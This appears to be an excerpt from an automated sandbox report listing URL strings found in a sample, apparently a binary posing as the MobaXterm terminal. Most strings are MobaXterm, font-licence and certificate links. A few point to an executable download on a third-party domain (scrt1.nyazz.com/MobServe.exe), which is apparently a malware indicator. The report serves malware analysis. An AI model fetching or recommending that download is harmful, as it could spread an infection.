Source: T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AF45000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1423788848.000000000BE39000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1430830740.000000000C05C000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1413149338.000000000AA27000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1374182708.0000000009EAB000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1378530251.0000000009F5D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1382969833.000000000ADB0000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://fontawesome.com/free)
Source: T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AF45000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1423788848.000000000BE39000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1430830740.000000000C05C000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1413149338.000000000AA27000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1374182708.0000000009EAB000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1378530251.0000000009F5D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1382969833.000000000ADB0000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://fontawesome.com/license/free)
Source: T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AF45000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1423788848.000000000BE39000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1430830740.000000000C05C000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1413149338.000000000AA27000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1374182708.0000000009EAB000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1378530251.0000000009F5D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1382969833.000000000ADB0000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/AndreLZGava/font-awesome-extension)
Source: T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AF45000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1423788848.000000000BE39000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1430830740.000000000C05C000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1413149338.000000000AA27000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1374182708.0000000009EAB000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1378530251.0000000009F5D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1382969833.000000000ADB0000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/AndreLZGava/font-awesome-extension/blob/master/LICENCE)
Source: T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AF45000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1413149338.000000000AA27000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1374182708.0000000009EAB000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/belluzj/fantasque-sans)
Source: T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AF45000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1413149338.000000000AA27000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1374182708.0000000009EAB000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/belluzj/fantasque-sans/blob/master/LICENSE.txt)
Source: T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	String found in binary or memory: https://github.com/landley/toybox
Source: T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AF45000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1423788848.000000000BE39000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1430830740.000000000C05C000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1413149338.000000000AA27000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1374182708.0000000009EAB000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1378530251.0000000009F5D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1382969833.000000000ADB0000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lukas-w/font-logos)
Source: T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AF45000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1423788848.000000000BE39000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1430830740.000000000C05C000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1413149338.000000000AA27000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1374182708.0000000009EAB000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1378530251.0000000009F5D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1382969833.000000000ADB0000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lukas-w/font-logos/blob/master/LICENSE)
Source: T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AF45000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1423788848.000000000BE39000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1430830740.000000000C05C000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1413149338.000000000AA27000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1374182708.0000000009EAB000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1378530251.0000000009F5D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1382969833.000000000ADB0000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/primer/octicons)
Source: T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AF45000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1423788848.000000000BE39000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1430830740.000000000C05C000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1413149338.000000000AA27000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1374182708.0000000009EAB000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1378530251.0000000009F5D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1382969833.000000000ADB0000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/primer/octicons/blob/master/LICENSE)
Source: T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AF45000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1423788848.000000000BE39000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1430830740.000000000C05C000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1413149338.000000000AA27000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1374182708.0000000009EAB000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1378530251.0000000009F5D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1382969833.000000000ADB0000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/source-foundry/Hack#license)
Source: T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AF45000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1423788848.000000000BE39000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1430830740.000000000C05C000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1413149338.000000000AA27000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1374182708.0000000009EAB000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1378530251.0000000009F5D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1382969833.000000000ADB0000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/source-foundry/Hack)
Source: T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tonsky/FiraCode)
Source: T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AF45000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1423788848.000000000BE39000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1430830740.000000000C05C000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1413149338.000000000AA27000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1374182708.0000000009EAB000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1378530251.0000000009F5D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1382969833.000000000ADB0000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tonsky/FiraCode/blob/master/LICENSE)
Source: T2dvU8f2xg.exe, 00000000.00000002.3823187427.0000000007AAA000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp, XWin_MobaX.exe	String found in binary or memory: https://mobaxterm.mobatek.net
Source: T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://mobaxterm.mobatek.net)
Source: T2dvU8f2xg.exe, 00000000.00000003.1430830740.000000000C05C000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1382969833.000000000ADB0000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://mobaxterm.mobatek.net)MobaFontBookMobaFontMobaFontVersion
Source: T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	String found in binary or memory: https://mobaxterm.mobatek.net/
Source: T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	String found in binary or memory: https://mobaxterm.mobatek.net/ExtendedTools.plugin
Source: T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	String found in binary or memory: https://mobaxterm.mobatek.net/ExtendedTools.pluginU
Source: T2dvU8f2xg.exe, 00000000.00000003.1351407496.0000000007511000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3829538446.0000000007CA4000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1689565677.00000000090C2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1431585166.000000000AB98000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1349687393.000000000832D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1445804936.000000000C4A2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AD22000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3848598695.0000000009247000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1680963161.00000000FFD27000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1391936069.000000000A7B6000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1350237895.0000000007439000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1397982376.000000000AFE6000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDB60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://mobaxterm.mobatek.net/cert.html
Source: T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	String found in binary or memory: https://mobaxterm.mobatek.net/documentation.html#6_2
Source: T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	String found in binary or memory: https://mobaxterm.mobatek.net/download.html
Source: T2dvU8f2xg.exe, 00000000.00000002.3795177151.00000000040EC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://mobaxterm.mobatek.net/download.html03
Source: T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	String found in binary or memory: https://mobaxterm.mobatek.net/download.htmlS
Source: T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	String found in binary or memory: https://mobaxterm.mobatek.net/download.htmlU
Source: T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	String found in binary or memory: https://mobaxterm.mobatek.net/lastver.php?pro=non_pro&version=
Source: T2dvU8f2xg.exe, 00000000.00000002.3795177151.0000000004062000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://mobaxterm.mobatek.net/lastver.php?pro=non_pro&version=24%2E2&beta=0
Source: T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	String found in binary or memory: https://mobaxterm.mobatek.net/lastver.php?pro=pro&version=
Source: T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	String found in binary or memory: https://mobaxterm.mobatek.net/plugins.html
Source: T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	String found in binary or memory: https://mobaxterm.mobatek.net/plugins.htmlSVW
Source: T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	String found in binary or memory: https://mobaxterm.mobatek.net/resetmasterpassword.html.
Source: T2dvU8f2xg.exe, 00000000.00000003.1391936069.000000000A7B6000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://mobaxterm.mobatek.net8
Source: T2dvU8f2xg.exe, 00000000.00000003.1391936069.000000000A7B6000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://mobaxterm.mobatek.netDVarFileInfo$
Source: T2dvU8f2xg.exe, 00000000.00000003.1465043904.00000000FD057000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1423788848.000000000BE39000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1378530251.0000000009F5D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://mobaxterm.mobatek.netMobaFira
Source: T2dvU8f2xg.exe, 00000000.00000003.1430830740.000000000C05C000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1382969833.000000000ADB0000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://mobaxterm.mobatek.netMobaFont
Source: T2dvU8f2xg.exe, 00000000.00000002.3844810029.000000000845C000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	String found in binary or memory: https://mobaxterm.mobatek.netU
Source: T2dvU8f2xg.exe, 00000000.00000002.3844810029.000000000845C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mobaxterm.mobatek.netj
Source: T2dvU8f2xg.exe, 00000000.00000003.1777956349.000000000908F000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1689565677.0000000008E1A000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1680963161.00000000FFA80000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1767527628.00000000FFCF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://mobaxterm.mobatek.netopenwinAboutDlgProc
Source: T2dvU8f2xg.exe, 00000000.00000002.3844810029.000000000845C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mobaxterm.mobatek.netx
Source: T2dvU8f2xg.exe, 00000000.00000002.3785089839.0000000001AE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scrt1.nyazz.com/
Source: T2dvU8f2xg.exe, T2dvU8f2xg.exe, 00000000.00000002.3785089839.0000000001B37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scrt1.nyazz.com/MobServe.exe
Source: T2dvU8f2xg.exe, 00000000.00000002.3785089839.0000000001B37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scrt1.nyazz.com/MobServe.exeo
Source: T2dvU8f2xg.exe, 00000000.00000003.1351407496.0000000007511000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3829538446.0000000007CA4000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1689565677.00000000090C2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1431585166.000000000AB98000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1349687393.000000000832D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1445804936.000000000C4A2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AD22000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3848598695.0000000009247000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1680963161.00000000FFD27000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1391936069.000000000A7B6000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1350237895.0000000007439000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1397982376.000000000AFE6000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDB60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0D
Source: T2dvU8f2xg.exe, 00000000.00000003.1351407496.0000000007511000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1689565677.00000000090C2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1431585166.000000000AB98000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1349687393.000000000832D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3848598695.0000000009247000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1680963161.00000000FFD27000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1350237895.0000000007439000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1397982376.000000000AFE6000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDB60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0L
